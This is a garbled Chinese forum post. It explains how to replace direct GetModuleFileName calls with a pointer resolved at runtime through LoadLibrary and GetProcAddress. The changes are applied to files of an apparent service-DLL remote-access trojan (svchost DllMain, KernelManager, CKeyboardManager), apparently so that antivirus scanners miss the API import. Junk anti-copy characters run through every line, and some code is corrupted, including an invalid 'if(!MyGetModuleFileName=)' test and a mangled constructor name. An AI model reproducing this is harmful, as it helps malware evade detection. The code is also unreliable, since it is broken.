[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记
  g' E/ ?- A1 ]! ~2 Wsvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h# Z8 m7 Y( D' N5 G* I
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3 M* f+ J  o* S! J- FDTDY.h：$ ~0 d9 E9 U3 J0 c/ Y
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#if _MSC_VER>1000% f5 l+ n/ l% d' n. v& T2 W
#pragma once
+ O) N; V9 U4 a& ?#endif //_MSC_VER>1000
5 K; a0 E6 g8 V$ L3 S! P- j#include<windows.h>" A. Z0 b3 ]7 B. @+ i+ l1 ?
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typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
  u* ~+ ]% f+ `5 B, r5 O1 t5 A0 uclass DTDY
+ V) _4 i* V3 R{
) M" L8 h# G) v9 s: y% Apublic:
* C/ A  g" W1 c7 |4 GDTDY();
6 Z- c( l' }- ]: p' Avirtual ~DTDY();! z  p' E( g9 [2 q
public:; C$ y2 ^5 q' p. w9 b; g6 ?( C
static pGetModuleFileNameA MyGetModuleFileName;% L0 r+ J$ c. k4 M% U
static BOOL FunInitiallization();
) j# K- ?$ |! c& h};
! E2 I+ z/ V! `. h8 c* O. x- L) C2 ]#endif
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# H/ j8 E8 |7 q/ S, c6 D) @DTDY.cpp:4 `$ p' K$ o7 h+ \: C
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#include "DTDY.h"/ s  \  N1 e. `. e' k: y2 r9 U
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;/ D2 w( m) Y! ^9 w5 V2 J( `
DTDY:TDY()" w9 u* I4 A$ T
{
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8 L, T" {+ W$ ?/ W. V, u; h. LDTDY::~DTDY()
! q$ g( V5 q! c5 @{
, L/ v* B# O" W}
* n/ c" g+ J8 P) H' Q/ N. dBOOL DTDY::FunInitiallization()
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HMODULE hModule=LoadLibrary("kernel32.dll");2 d& v, h+ B$ m
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");) @/ A  n+ L8 P1 _
if(!MyGetModuleFileName=) return FALSE;8 N5 y! u) v) W( V5 o8 Y
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return TRUE;5 E/ J6 F, ]5 V5 Q, r. |5 _
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svchost.cpp:
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#include "DTDY.h"# `; _' Z- }0 f) L8 A: X

& d$ \1 f' N1 n& |9 ?BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
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switch(ul_reason_for_call)' Z; ^8 U9 [. _; |8 G
{
0 X+ d2 v. R$ A. Q5 J7 O# `. E% gcase DLL_PROCESS_ATTACH:
7 |8 x: c/ W1 Z. y  n, q0 R' kif(!DTDY::FunInitiallization()) return FALSE;2 @3 Q8 E: T+ F$ w) A, }
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break;, h; w, x* X; p1 m8 q
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GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def5 y; r* K7 g( S, B
改写为
) v0 |& \2 n5 D" gDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));! C- L8 p) d: D! W
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KernelManager.cpp:. Y: }6 g! x. [6 V
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#include "../DTDY.h"
$ G  E, p- [# Q8 a; sGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
/ d& O/ A2 k& G5 R2 Y& d改写为7 @1 X5 _  s# A( k9 m) m
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
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